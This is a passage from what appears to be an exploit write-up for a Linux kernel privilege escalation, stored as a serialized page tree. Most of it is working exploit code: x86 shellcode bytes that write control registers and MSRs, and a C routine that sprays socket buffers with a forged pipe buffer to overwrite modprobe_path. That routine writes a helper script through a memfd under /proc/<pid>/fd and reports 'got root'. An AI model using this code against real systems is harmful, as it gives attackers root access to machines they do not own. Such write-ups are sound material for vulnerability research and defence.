"class":203,"line":590},[60589,60593,60597,60601,60606,60610,60614,60619,60623,60627,60632,60636,60640,60644],{"type":25,"tag":201,"props":60590,"children":60591},{"style":214},[60592],{"type":31,"value":60249},{"type":25,"tag":201,"props":60594,"children":60595},{"style":220},[60596],{"type":31,"value":60191},{"type":25,"tag":201,"props":60598,"children":60599},{"style":261},[60600],{"type":31,"value":5886},{"type":25,"tag":201,"props":60602,"children":60603},{"style":426},[60604],{"type":31,"value":60605}," 0x2a",{"type":25,"tag":201,"props":60607,"children":60608},{"style":220},[60609],{"type":31,"value":919},{"type":25,"tag":201,"props":60611,"children":60612},{"style":267},[60613],{"type":31,"value":1557},{"type":25,"tag":201,"props":60615,"children":60616},{"style":49450},[60617],{"type":31,"value":60618},"\\x0f\\x20\\xe0\\x83\\xc8\\x20\\x0f\\x22\\xe0\\xb9\\x80\\x00\\x00\\xc0\\x0f\\x32\\x0f\\xba\\xe8\\x08\\x0f\\x30\\xb8\\x00",{"type":25,"tag":201,"props":60620,"children":60621},{"style":267},[60622],{"type":31,"value":1557},{"type":25,"tag":201,"props":60624,"children":60625},{"style":220},[60626],{"type":31,"value":919},{"type":25,"tag":201,"props":60628,"children":60629},{"style":426},[60630],{"type":31,"value":60631},"24",{"type":25,"tag":201,"props":60633,"children":60634},{"style":220},[60635],{"type":31,"value":385},{"type":25,"tag":201,"props":60637,"children":60638},{"style":261},[60639],{"type":31,"value":10083},{"type":25,"tag":201,"props":60641,"children":60642},{"style":426},[60643],{"type":31,"value":4554},{"type":25,"tag":201,"props":60645,"children":60646},{"style":261},[60647],{"type":31,"value":53762},{"type":25,"tag":201,"props":60649,"children":60650},{"class":203,"line":608},[60651,60655,60659,60663,60668,60672,60676,60681,60685,60689,60694,60698,60702,60706],{"type":25,"tag":201,"props":60652,"children":60653},{"style":214},[60654],{"type":31,"value":60249},{"type":25,"tag":201,"props":60656,"children":60657},{"style":220},[60658],{"type":31,"value":60191},{"type":25,"tag":201,"props":60660,"children":60661},{"style":261},[60662],{"type":31,"value":5886},{"type":25,"tag":201,"props":60664,"children":60665},{"style":426},[60666],{"type":31,"value":60667}," 0x45",{"type":25,"tag":201,"props":60669,"children":60670},{"style":220},[60671],{"type":31,"value":919},{"type":25,"tag":201,"props":60673,"children":60674},{"style":267},[60675],{"type":31,"value":1557},{"type":25,"tag":201,"props":60677,"children":60678},{"style":49450},[60679],{"type":31,"value":60680},"\\x0f\\x22\\xd8\\xb8\\x01\\x00\\x00\\x80\\x0f\\x22\\xc0\\xea\\x57\\x00\\x00",{"type":25,"tag":201,"props":60682,"children":60683},{"style":267},[60684],{"type":31,"value":1557},{"type":25,"tag":201,"props":60686,"children":60687},{"style":220},[60688],{"type":31,"value":919},{"type":25,"tag":201,"props":60690,"children":60691},{"style":426},[60692],{"type":31,"value":60693},"15",{"type":25,"tag":201,"props":60695,"children":60696},{"style":220},[60697],{"type":31,"value":385},{"type":25,"tag":201,"props":60699,"children":60700},{"style":261},[60701],{"type":31,"value":10083},{"type":25,"tag":201,"props":60703,"children":60704},{"style":426},[60705],{"type":31,"value":4554},{"type":25,"tag":201,"props":60707,"children":60708},{"style":261},[60709],{"type":31,"value":53762},{"type":25,"tag":201,"props":60711,"children":60712},{"class":203,"line":617},[60713,60717,60721,60725,60730,60734,60738,60743,60747,60751,60755,60759,60763,60767],{"type":25,"tag":201,"props":60714,"children":60715},{"style":214},[60716],{"type":31,"value":60249},{"type":25,"tag":201,"props":60718,"children":60719},{"style":220},[60720],{"type":31,"value":60191},{"type":25,"tag":201,"props":60722,"children":60723},{"style":261},[60724],{"type":31,"value":5886},{"type":25,"tag":201,"props":60726,"children":60727},{"style":426},[60728],{"type":31,"value":60729}," 0x55",{"type":25,"tag":201,"props":60731,"children":60732},{"style":220},[60733],{"type":31,"value":919},{"type":25,"tag":201,"props":60735,"children":60736},{"style":267},[60737],{"type":31,"value":1557},{"type":25,"tag":201,"props":60739,"children":60740},{"style":49450},[60741],{"type":31,"value":60742},"\\x08\\x00\\xb9\\x01\\x01\\x00\\xc0\\xb8",{"type":25,"tag":201,"props":60744,"children":60745},{"style":267},[60746],{"type":31,"value":1557},{"type":25,"tag":201,"props":60748,"children":60749},{"style":220},[60750],{"type":31,"value":919},{"type":25,"tag":201,"props":60752,"children":60753},{"style":426},[60754],{"type":31,"value":5579},{"type":25,"tag":201,"props":60756,"children":60757},{"style":220},[60758],{"type":31,"value":385},{"type":25,"tag":201,"props":60760,"children":60761},{"style":261},[60762],{"type":31,"value":10083},{"type":25,"tag":201,"props":60764,"children":60765},{"style":426},[60766],{"type":31,"value":4554},{"type":25,"tag":201,"props":60768,"children":60769},{"style":261},[60770],{"type":31,"value":53762},{"type":25,"tag":201,"props":60772,"children":60773},{"class":203,"line":625},[60774,60778,60782,60786,60791,60795,60799,60804,60808,60812,60816,60820,60824,60828],{"type":25,"tag":201,"props":60775,"children":60776},{"style":214},[60777],{"type":31,"value":60249},{"type":25,"tag":201,"props":60779,"children":60780},{"style":220},[60781],{"type":31,"value":60191},{"type":25,"tag":201,"props":60783,"children":60784},{"style":261},[60785],{"type":31,"value":5886},{"type":25,"tag":201,"props":60787,"children":60788},{"style":426},[60789],{"type":31,"value":60790}," 0x61",{"type":25,"tag":201,"props":60792,"children":60793},{"style":220},[60794],{"type":31,"value":919},{"type":25,"tag":201,"props":60796,"children":60797},{"style":267},[60798],{"type":31,"value":1557},{"type":25,"tag":201,"props":60800,"children":60801},{"style":49450},[60802],{"type":31,"value":60803},"\\x31\\xd2\\x0f\\x30\\xe8",{"type":25,"tag":201,"props":60805,"children":60806},{"style":267},[60807],{"type":31,"value":1557},{"type":25,"tag":201,"props":60809,"children":60810},{"style":220},[60811],{"type":31,"value":919},{"type":25,"tag":201,"props":60813,"children":60814},{"style":426},[60815],{"type":31,"value":19606},{"type":25,"tag":201,"props":60817,"children":60818},{"style":220},[60819],{"type":31,"value":385},{"type":25,"tag":201,"props":60821,"children":60822},{"style":261},[60823],{"type":31,"value":10083},{"type":25,"tag":201,"props":60825,"children":60826},{"style":426},[60827],{"type":31,"value":4554},{"type":25,"tag":201,"props":60829,"children":60830},{"style":261},[60831],{"type":31,"value":53762},{"type":25,"tag":201,"props":60833,"children":60834},{"class":203,"line":642},[60835,60839,60843,60847,60852,60856,60860,60865,60869,60873,60877,60881,60885,60889],{"type":25,"tag":201,"props":60836,"children":60837},{"style":214},[60838],{"type":31,"value":60249},{"type":25,"tag":201,"props":60840,"children":60841},{"style":220},[60842],{"type":31,"value":60191},{"type":25,"tag":201,"props":60844,"children":60845},{"style":261},[60846],{"type":31,"value":5886},{"type":25,"tag":201,"props":60848,"children":60849},{"style":426},[60850],{"type":31,"value":60851}," 0x6a",{"type":25,"tag":201,"props":60853,"children":60854},{"style":220},[60855],{"type":31,"value":919},{"type":25,"tag":201,"props":60857,"children":60858},{"style":267},[60859],{"type":31,"value":1557},{"type":25,"tag":201,"props":60861,"children":60862},{"style":49450},[60863],{"type":31,"value":60864},"\\x48\\xc7\\xc6",{"type":25,"tag":201,"props":60866,"children":60867},{"style":267},[60868],{"type":31,"value":1557},{"type":25,"tag":201,"props":60870,"children":60871},{"style":220},[60872],{"type":31,"value":919},{"type":25,"tag":201,"props":60874,"children":60875},{"style":426},[60876],{"type":31,"value":18792},{"type":25,"tag":201,"props":60878,"children":60879},{"style":220},[60880],{"type":31,"value":385},{"type":25,"tag":201,"props":60882,"children":60883},{"style":261},[60884],{"type":31,"value":10083},{"type":25,"tag":201,"props":60886,"children":60887},{"style":426},[60888],{"type":31,"value":4554},{"type":25,"tag":201,"props":60890,"children":60891},{"style":261},[60892],{"type":31,"value":53762},{"type":25,"tag":201,"props":60894,"children":60895},{"class":203,"line":659},[60896,60900,60904,60908,60913,60917,60921,60926,60930,60934,60938,60942,60946,60950],{"type":25,"tag":201,"props":60897,"children":60898},{"style":214},[60899],{"type":31,"value":60249},{"type":25,"tag":201,"props":60901,"children":60902},{"style":220},[60903],{"type":31,"value":60191},{"type":25,"tag":201,"props":60905,"children":60906},{"style":261},[60907],{"type":31,"value":5886},{"type":25,"tag":201,"props":60909,"children":60910},{"style":426},[60911],{"type":31,"value":60912}," 0x71",{"type":25,"tag":201,"props":60914,"children":60915},{"style":220},[60916],{"type":31,"value":919},{"type":25,"tag":201,"props":60918,"children":60919},{"style":267},[60920],{"type":31,"value":1557},{"type":25,"tag":201,"props":60922,"children":60923},{"style":49450},[60924],{"type":31,"value":60925},"\\x48\\xc7\\xc0\\x80\\x00\\x00",{"type":25,"tag":201,"props":60927,"children":60928},{"style":267},[60929],{"type":31,"value":1557},{"type":25,"tag":201,"props":60931,"children":60932},{"style":220},[60933],{"type":31,"value":919},{"type":25,"tag":201,"props":60935,"children":60936},{"style":426},[60937],{"type":31,"value":19918},{"type":25,"tag":201,"props":60939,"children":60940},{"style":220},[60941],{"type":31,"value":385},{"type":25,"tag":201,"props":60943,"children":60944},{"style":261},[60945],{"type":31,"value":10083},{"type":25,"tag":201,"props":60947,"children":60948},{"style":426},[60949],{"type":31,"value":4554},{"type":25,"tag":201,"props":60951,"children":60952},{"style":261},[60953],{"type":31,"value":53762},{"type":25,"tag":201,"props":60955,"children":60956},{"class":203,"line":667},[60957,60961,60965,60969,60974,60978,60982,60987,60991,60995,60999,61003,61007,61011],{"type":25,"tag":201,"props":60958,"children":60959},{"style":214},[60960],{"type":31,"value":60249},{"type":25,"tag":201,"props":60962,"children":60963},{"style":220},[60964],{"type":31,"value":60191},{"type":25,"tag":201,"props":60966,"children":60967},{"style":261},[60968],{"type":31,"value":5886},{"type":25,"tag":201,"props":60970,"children":60971},{"style":426},[60972],{"type":31,"value":60973}," 0x78",{"type":25,"tag":201,"props":60975,"children":60976},{"style":220},[60977],{"type":31,"value":919},{"type":25,"tag":201,"props":60979,"children":60980},{"style":267},[60981],{"type":31,"value":1557},{"type":25,"tag":201,"props":60983,"children":60984},{"style":49450},[60985],{"type":31,"value":60986},"\\xff\\xe0",{"type":25,"tag":201,"props":60988,"children":60989},{"style":267},[60990],{"type":31,"value":1557},{"type":25,"tag":201,"props":60992,"children":60993},{"style":220},[60994],{"type":31,"value":919},{"type":25,"tag":201,"props":60996,"children":60997},{"style":426},[60998],{"type":31,"value":4629},{"type":25,"tag":201,"props":61000,"children":61001},{"style":220},[61002],{"type":31,"value":385},{"type":25,"tag":201,"props":61004,"children":61005},{"style":261},[61006],{"type":31,"value":10083},{"type":25,"tag":201,"props":61008,"children":61009},{"style":426},[61010],{"type":31,"value":4554},{"type":25,"tag":201,"props":61012,"children":61013},{"style":220},[61014],{"type":31,"value":4666},{"type":25,"tag":201,"props":61016,"children":61017},{"class":203,"line":676},[61018,61022,61026],{"type":25,"tag":201,"props":61019,"children":61020},{"style":230},[61021],{"type":31,"value":17239},{"type":25,"tag":201,"props":61023,"children":61024},{"style":208},[61025],{"type":31,"value":13971},{"type":25,"tag":201,"props":61027,"children":61028},{"style":220},[61029],{"type":31,"value":461},{"type":25,"tag":201,"props":61031,"children":61032},{"class":203,"line":694},[61033],{"type":25,"tag":201,"props":61034,"children":61035},{"emptyLinePlaceholder":17},[61036],{"type":31,"value":496},{"type":25,"tag":201,"props":61038,"children":61039},{"class":203,"line":707},[61040,61044,61048],{"type":25,"tag":201,"props":61041,"children":61042},{"style":230},[61043],{"type":31,"value":18486},{"type":25,"tag":201,"props":61045,"children":61046},{"style":208},[61047],{"type":31,"value":542},{"type":25,"tag":201,"props":61049,"children":61050},{"style":220},[61051],{"type":31,"value":461},{"type":25,"tag":201,"props":61053,"children":61054},{"class":203,"line":715},[61055],{"type":25,"tag":201,"props":61056,"children":61057},{"style":220},[61058],{"type":31,"value":1187},{"type":25,"tag":201,"props":61060,"children":61061},{"class":203,"line":732},[61062],{"type":25,"tag":201,"props":61063,"children":61064},{"style":220},[61065],{"type":31,"value":11821},{"type":25,"tag":40,"props":61067,"children":61069},{"id":61068},"overwriting-modprobe_path",[61070,61072],{"type":31,"value":61071},"Overwriting ",{"type":25,"tag":115,"props":61073,"children":61075},{"className":61074},[],[61076],{"type":31,"value":59457},{"type":25,"tag":34,"props":61078,"children":61079},{},[61080,61082,61088],{"type":31,"value":61081},"Finding the ",{"type":25,"tag":115,"props":61083,"children":61085},{"className":61084},[],[61086],{"type":31,"value":61087},"/sbin/modprobe",{"type":31,"value":61089}," string in kernel memory and replacing it with a controlled value that points to a file we own finally becomes relatively trivial.",{"type":25,"tag":34,"props":61091,"children":61092},{},[61093,61095,61101],{"type":31,"value":61094},"A very well-known trick for this to work, although we are running in a chroot without being able to create files at the root filesystem, is using a memfd exposed through ",{"type":25,"tag":115,"props":61096,"children":61098},{"className":61097},[],[61099],{"type":31,"value":61100},"/proc/\u003Cpid>/fd/\u003Cn>.",{"type":31,"value":61102}," It's worth adding that, given that our pid outside the unprivileged namespace is unknown to us, we brute-force it.",{"type":25,"tag":191,"props":61104,"children":61106},{"className":30593,"code":61105,"language":30595,"meta":7,"style":7},"[...]\n    puts(\"[*] overwrite modprobe_path\");\n    for (int i = 0; i \u003C 4194304; i++)\n    {\n        pipebuf->page = modprobe_page;\n        pipebuf->offset = modprobe_off;\n        pipebuf->len = 0;\n        for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n        {\n            if (write(sock[i][0], pipebuf, 1024 - 320) \u003C 0)\n            {\n                perror(\"[-] write(socket)\");\n                break;\n            }\n        }\n\n        memset(&data, 0, PAGE_SIZE);\n        snprintf(fd_path, sizeof(fd_path), \"/proc/%i/fd/%i\", i, modprobe_fd);\n\n        lseek(modprobe_fd, 0, SEEK_SET);\n        dprintf(modprobe_fd, MODPROBE_SCRIPT, i, status_fd, i, stdin_fd, i, stdout_fd);\n\n        if (write(pfd[pipe_idx][1], fd_path, 32) \u003C 0)\n        {\n            perror(\"\\n[-] write(pipe)\");\n        }\n\n        if (check_modprobe(fd_path))\n        {\n            puts(\"[-] failed to overwrite modprobe\");\n            break;\n        }\n\n        if (trigger_modprobe(status_fd))\n        {\n            puts(\"\\n[+] got root\");\n            goto out;\n        }\n\n        for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n        {\n            if (read(sock[i][1], leak, 1024 - 320) \u003C 0)\n            {\n                perror(\"[-] read(socket)\");\n                return -1;\n            }\n        }\n    }\n    puts(\"[-] fake modprobe failed\");\n[...]\n",[61107],{"type":25,"tag":115,"props":61108,"children":61109},{"__ignoreMap":7},[61110,61117,61139,61147,61154,61162,61170,61178,61186,61193,61201,61208,61246,61257,61264,61271,61278,61305,61336,61343,61365,61378,61385,61443,61450,61478,61485,61492,61513,61520,61541,61552,61559,61566,61587,61594,61622,61635,61642,61649,61698,61705,61773,61780,61801,61821,61828,61835,61842,61862],{"type":25,"tag":201,"props":61111,"children":61112},{"class":203,"line":204},[61113],{"type":25,"tag":201,"props":61114,"children":61115},{"style":220},[61116],{"type":31,"value":11821},{"type":25,"tag":201,"props":61118,"children":61119},{"class":203,"line":226},[61120,61125,61130,61135],{"type":25,"tag":201,"props":61121,"children":61122},{"style":220},[61123],{"type":31,"value":61124},"    puts(\"[*] ",{"type":25,"tag":201,"props":61126,"children":61127},{"style":4925},[61128],{"type":31,"value":61129},"overwrite",{"type":25,"tag":201,"props":61131,"children":61132},{"style":4925},[61133],{"type":31,"value":61134}," modprobe_path",{"type":25,"tag":201,"props":61136,"children":61137},{"style":267},[61138],{"type":31,"value":57370},{"type":25,"tag":201,"props":61140,"children":61141},{"class":203,"line":278},[61142],{"type":25,"tag":201,"props":61143,"children":61144},{"style":267},[61145],{"type":31,"value":61146},"    for (int i = 0; i \u003C 4194304; i++)\n",{"type":25,"tag":201,"props":61148,"children":61149},{"class":203,"line":311},[61150],{"type":25,"tag":201,"props":61151,"children":61152},{"style":267},[61153],{"type":31,"value":30670},{"type":25,"tag":201,"props":61155,"children":61156},{"class":203,"line":330},[61157],{"type":25,"tag":201,"props":61158,"children":61159},{"style":267},[61160],{"type":31,"value":61161},"        pipebuf->page = modprobe_page;\n",{"type":25,"tag":201,"props":61163,"children":61164},{"class":203,"line":397},[61165],{"type":25,"tag":201,"props":61166,"children":61167},{"style":267},[61168],{"type":31,"value":61169},"        pipebuf->offset = modprobe_off;\n",{"type":25,"tag":201,"props":61171,"children":61172},{"class":203,"line":437},[61173],{"type":25,"tag":201,"props":61174,"children":61175},{"style":267},[61176],{"type":31,"value":61177},"        pipebuf->len = 0;\n",{"type":25,"tag":201,"props":61179,"children":61180},{"class":203,"line":464},[61181],{"type":25,"tag":201,"props":61182,"children":61183},{"style":267},[61184],{"type":31,"value":61185},"        for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n",{"type":25,"tag":201,"props":61187,"children":61188},{"class":203,"line":490},[61189],{"type":25,"tag":201,"props":61190,"children":61191},{"style":267},[61192],{"type":31,"value":528},{"type":25,"tag":201,"props":61194,"children":61195},{"class":203,"line":499},[61196],{"type":25,"tag":201,"props":61197,"children":61198},{"style":267},[61199],{"type":31,"value":61200},"            if (write(sock[i][0], pipebuf, 1024 - 320) \u003C 0)\n",{"type":25,"tag":201,"props":61202,"children":61203},{"class":203,"line":522},[61204],{"type":25,"tag":201,"props":61205,"children":61206},{"style":267},[61207],{"type":31,"value":569},{"type":25,"tag":201,"props":61209,"children":61210},{"class":203,"line":531},[61211,61216,61220,61224,61228,61233,61237,61241],{"type":25,"tag":201,"props":61212,"children":61213},{"style":267},[61214],{"type":31,"value":61215},"                perror(\"",{"type":25,"tag":201,"props":61217,"children":61218},{"style":220},[61219],{"type":31,"value":423},{"type":25,"tag":201,"props":61221,"children":61222},{"style":261},[61223],{"type":31,"value":5832},{"type":25,"tag":201,"props":61225,"children":61226},{"style":220},[61227],{"type":31,"value":10169},{"type":25,"tag":201,"props":61229,"children":61230},{"style":4925},[61231],{"type":31,"value":61232},"write",{"type":25,"tag":201,"props":61234,"children":61235},{"style":220},[61236],{"type":31,"value":298},{"type":25,"tag":201,"props":61238,"children":61239},{"style":4925},[61240],{"type":31,"value":43010},{"type":25,"tag":201,"props":61242,"children":61243},{"style":220},[61244],{"type":31,"value":61245},")\");\n",{"type":25,"tag":201,"props":61247,"children":61248},{"class":203,"line":550},[61249,61253],{"type":25,"tag":201,"props":61250,"children":61251},{"style":230},[61252],{"type":31,"value":60039},{"type":25,"tag":201,"props":61254,"children":61255},{"style":220},[61256],{"type":31,"value":461},{"type":25,"tag":201,"props":61258,"children":61259},{"class":203,"line":563},[61260],{"type":25,"tag":201,"props":61261,"children":61262},{"style":220},[61263],{"type":31,"value":59964},{"type":25,"tag":201,"props":61265,"children":61266},{"class":203,"line":572},[61267],{"type":25,"tag":201,"props":61268,"children":61269},{"style":220},[61270],{"type":31,"value":4853},{"type":25,"tag":201,"props":61272,"children":61273},{"class":203,"line":590},[61274],{"type":25,"tag":201,"props":61275,"children":61276},{"emptyLinePlaceholder":17},[61277],{"type":31,"value":496},{"type":25,"tag":201,"props":61279,"children":61280},{"class":203,"line":608},[61281,61285,61289,61293,61297,61301],{"type":25,"tag":201,"props":61282,"children":61283},{"style":214},[61284],{"type":31,"value":55695},{"type":25,"tag":201,"props":61286,"children":61287},{"style":220},[61288],{"type":31,"value":298},{"type":25,"tag":201,"props":61290,"children":61291},{"style":261},[61292],{"type":31,"value":4615},{"type":25,"tag":201,"props":61294,"children":61295},{"style":220},[61296],{"type":31,"value":59850},{"type":25,"tag":201,"props":61298,"children":61299},{"style":426},[61300],{"type":31,"value":429},{"type":25,"tag":201,"props":61302,"children":61303},{"style":220},[61304],{"type":31,"value":59859},{"type":25,"tag":201,"props":61306,"children":61307},{"class":203,"line":617},[61308,61312,61317,61321,61326,61331],{"type":25,"tag":201,"props":61309,"children":61310},{"style":214},[61311],{"type":31,"value":56396},{"type":25,"tag":201,"props":61313,"children":61314},{"style":220},[61315],{"type":31,"value":61316},"(fd_path, ",{"type":25,"tag":201,"props":61318,"children":61319},{"style":208},[61320],{"type":31,"value":56406},{"type":25,"tag":201,"props":61322,"children":61323},{"style":220},[61324],{"type":31,"value":61325},"(fd_path), ",{"type":25,"tag":201,"props":61327,"children":61328},{"style":267},[61329],{"type":31,"value":61330},"\"/proc/%i/fd/%i\"",{"type":25,"tag":201,"props":61332,"children":61333},{"style":220},[61334],{"type":31,"value":61335},", i, modprobe_fd);\n",{"type":25,"tag":201,"props":61337,"children":61338},{"class":203,"line":625},[61339],{"type":25,"tag":201,"props":61340,"children":61341},{"emptyLinePlaceholder":17},[61342],{"type":31,"value":496},{"type":25,"tag":201,"props":61344,"children":61345},{"class":203,"line":642},[61346,61351,61356,61360],{"type":25,"tag":201,"props":61347,"children":61348},{"style":214},[61349],{"type":31,"value":61350},"        lseek",{"type":25,"tag":201,"props":61352,"children":61353},{"style":220},[61354],{"type":31,"value":61355},"(modprobe_fd, ",{"type":25,"tag":201,"props":61357,"children":61358},{"style":426},[61359],{"type":31,"value":429},{"type":25,"tag":201,"props":61361,"children":61362},{"style":220},[61363],{"type":31,"value":61364},", SEEK_SET);\n",{"type":25,"tag":201,"props":61366,"children":61367},{"class":203,"line":659},[61368,61373],{"type":25,"tag":201,"props":61369,"children":61370},{"style":214},[61371],{"type":31,"value":61372},"        dprintf",{"type":25,"tag":201,"props":61374,"children":61375},{"style":220},[61376],{"type":31,"value":61377},"(modprobe_fd, MODPROBE_SCRIPT, i, status_fd, i, stdin_fd, i, stdout_fd);\n",{"type":25,"tag":201,"props":61379,"children":61380},{"class":203,"line":667},[61381],{"type":25,"tag":201,"props":61382,"children":61383},{"emptyLinePlaceholder":17},[61384],{"type":31,"value":496},{"type":25,"tag":201,"props":61386,"children":61387},{"class":203,"line":676},[61388,61392,61396,61400,61404,61408,61413,61417,61422,61427,61431,61435,61439],{"type":25,"tag":201,"props":61389,"children":61390},{"style":230},[61391],{"type":31,"value":4779},{"type":25,"tag":201,"props":61393,"children":61394},{"style":220},[61395],{"type":31,"value":238},{"type":25,"tag":201,"props":61397,"children":61398},{"style":214},[61399],{"type":31,"value":61232},{"type":25,"tag":201,"props":61401,"children":61402},{"style":220},[61403],{"type":31,"value":298},{"type":25,"tag":201,"props":61405,"children":61406},{"style":246},[61407],{"type":31,"value":59903},{"type":25,"tag":201,"props":61409,"children":61410},{"style":220},[61411],{"type":31,"value":61412},"[pipe_idx][",{"type":25,"tag":201,"props":61414,"children":61415},{"style":426},[61416],{"type":31,"value":5516},{"type":25,"tag":201,"props":61418,"children":61419},{"style":220},[61420],{"type":31,"value":61421},"], fd_path, ",{"type":25,"tag":201,"props":61423,"children":61424},{"style":426},[61425],{"type":31,"value":61426},"32",{"type":25,"tag":201,"props":61428,"children":61429},{"style":220},[61430],{"type":31,"value":385},{"type":25,"tag":201,"props":61432,"children":61433},{"style":261},[61434],{"type":31,"value":1298},{"type":25,"tag":201,"props":61436,"children":61437},{"style":426},[61438],{"type":31,"value":4554},{"type":25,"tag":201,"props":61440,"children":61441},{"style":220},[61442],{"type":31,"value":4666},{"type":25,"tag":201,"props":61444,"children":61445},{"class":203,"line":694},[61446],{"type":25,"tag":201,"props":61447,"children":61448},{"style":220},[61449],{"type":31,"value":528},{"type":25,"tag":201,"props":61451,"children":61452},{"class":203,"line":707},[61453,61457,61461,61465,61469,61474],{"type":25,"tag":201,"props":61454,"children":61455},{"style":214},[61456],{"type":31,"value":58976},{"type":25,"tag":201,"props":61458,"children":61459},{"style":220},[61460],{"type":31,"value":298},{"type":25,"tag":201,"props":61462,"children":61463},{"style":267},[61464],{"type":31,"value":1557},{"type":25,"tag":201,"props":61466,"children":61467},{"style":49450},[61468],{"type":31,"value":49453},{"type":25,"tag":201,"props":61470,"children":61471},{"style":267},[61472],{"type":31,"value":61473},"[-] write(pipe)\"",{"type":25,"tag":201,"props":61475,"children":61476},{"style":220},[61477],{"type":31,"value":308},{"type":25,"tag":201,"props":61479,"children":61480},{"class":203,"line":715},[61481],{"type":25,"tag":201,"props":61482,"children":61483},{"style":220},[61484],{"type":31,"value":4853},{"type":25,"tag":201,"props":61486,"children":61487},{"class":203,"line":732},[61488],{"type":25,"tag":201,"props":61489,"children":61490},{"emptyLinePlaceholder":17},[61491],{"type":31,"value":496},{"type":25,"tag":201,"props":61493,"children":61494},{"class":203,"line":749},[61495,61499,61503,61508],{"type":25,"tag":201,"props":61496,"children":61497},{"style":230},[61498],{"type":31,"value":4779},{"type":25,"tag":201,"props":61500,"children":61501},{"style":220},[61502],{"type":31,"value":238},{"type":25,"tag":201,"props":61504,"children":61505},{"style":214},[61506],{"type":31,"value":61507},"check_modprobe",{"type":25,"tag":201,"props":61509,"children":61510},{"style":220},[61511],{"type":31,"value":61512},"(fd_path))\n",{"type":25,"tag":201,"props":61514,"children":61515},{"class":203,"line":757},[61516],{"type":25,"tag":201,"props":61517,"children":61518},{"style":220},[61519],{"type":31,"value":528},{"type":25,"tag":201,"props":61521,"children":61522},{"class":203,"line":765},[61523,61528,61532,61537],{"type":25,"tag":201,"props":61524,"children":61525},{"style":214},[61526],{"type":31,"value":61527},"            puts",{"type":25,"tag":201,"props":61529,"children":61530},{"style":220},[61531],{"type":31,"value":298},{"type":25,"tag":201,"props":61533,"children":61534},{"style":267},[61535],{"type":31,"value":61536},"\"[-] failed to overwrite modprobe\"",{"type":25,"tag":201,"props":61538,"children":61539},{"style":220},[61540],{"type":31,"value":308},{"type":25,"tag":201,"props":61542,"children":61543},{"class":203,"line":783},[61544,61548],{"type":25,"tag":201,"props":61545,"children":61546},{"style":230},[61547],{"type":31,"value":4805},{"type":25,"tag":201,"props":61549,"children":61550},{"style":220},[61551],{"type":31,"value":461},{"type":25,"tag":201,"props":61553,"children":61554},{"class":203,"line":792},[61555],{"type":25,"tag":201,"props":61556,"children":61557},{"style":220},[61558],{"type":31,"value":4853},{"type":25,"tag":201,"props":61560,"children":61561},{"class":203,"line":801},[61562],{"type":25,"tag":201,"props":61563,"children":61564},{"emptyLinePlaceholder":17},[61565],{"type":31,"value":496},{"type":25,"tag":201,"props":61567,"children":61568},{"class":203,"line":809},[61569,61573,61577,61582],{"type":25,"tag":201,"props":61570,"children":61571},{"style":230},[61572],{"type":31,"value":4779},{"type":25,"tag":201,"props":61574,"children":61575},{"style":220},[61576],{"type":31,"value":238},{"type":25,"tag":201,"props":61578,"children":61579},{"style":214},[61580],{"type":31,"value":61581},"trigger_modprobe",{"type":25,"tag":201,"props":61583,"children":61584},{"style":220},[61585],{"type":31,"value":61586},"(status_fd))\n",{"type":25,"tag":201,"props":61588,"children":61589},{"class":203,"line":857},[61590],{"type":25,"tag":201,"props":61591,"children":61592},{"style":220},[61593],{"type":31,"value":528},{"type":25,"tag":201,"props":61595,"children":61596},{"class":203,"line":865},[61597,61601,61605,61609,61613,61618],{"type":25,"tag":201,"props":61598,"children":61599},{"style":214},[61600],{"type":31,"value":61527},{"type":25,"tag":201,"props":61602,"children":61603},{"style":220},[61604],{"type":31,"value":298},{"type":25,"tag":201,"props":61606,"children":61607},{"style":267},[61608],{"type":31,"value":1557},{"type":25,"tag":201,"props":61610,"children":61611},{"style":49450},[61612],{"type":31,"value":49453},{"type":25,"tag":201,"props":61614,"children":61615},{"style":267},[61616],{"type":31,"value":61617},"[+] got root\"",{"type":25,"tag":201,"props":61619,"children":61620},{"style":220},[61621],{"type":31,"value":308},{"type":25,"tag":201,"props":61623,"children":61624},{"class":203,"line":931},[61625,61630],{"type":25,"tag":201,"props":61626,"children":61627},{"style":230},[61628],{"type":31,"value":61629},"            goto",{"type":25,"tag":201,"props":61631,"children":61632},{"style":220},[61633],{"type":31,"value":61634}," out;\n",{"type":25,"tag":201,"props":61636,"children":61637},{"class":203,"line":939},[61638],{"type":25,"tag":201,"props":61639,"children":61640},{"style":220},[61641],{"type":31,"value":4853},{"type":25,"tag":201,"props":61643,"children":61644},{"class":203,"line":960},[61645],{"type":25,"tag":201,"props":61646,"children":61647},{"emptyLinePlaceholder":17},[61648],{"type":31,"value":496},{"type":25,"tag":201,"props":61650,"children":61651},{"class":203,"line":977},[61652,61657,61661,61665,61669,61673,61677,61681,61685,61690,61694],{"type":25,"tag":201,"props":61653,"children":61654},{"style":230},[61655],{"type":31,"value":61656},"        for",{"type":25,"tag":201,"props":61658,"children":61659},{"style":220},[61660],{"type":31,"value":238},{"type":25,"tag":201,"props":61662,"children":61663},{"style":208},[61664],{"type":31,"value":20546},{"type":25,"tag":201,"props":61666,"children":61667},{"style":220},[61668],{"type":31,"value":55622},{"type":25,"tag":201,"props":61670,"children":61671},{"style":261},[61672],{"type":31,"value":1383},{"type":25,"tag":201,"props":61674,"children":61675},{"style":426},[61676],{"type":31,"value":4554},{"type":25,"tag":201,"props":61678,"children":61679},{"style":220},[61680],{"type":31,"value":52311},{"type":25,"tag":201,"props":61682,"children":61683},{"style":261},[61684],{"type":31,"value":1298},{"type":25,"tag":201,"props":61686,"children":61687},{"style":220},[61688],{"type":31,"value":61689}," SKBUF_SPRAY; 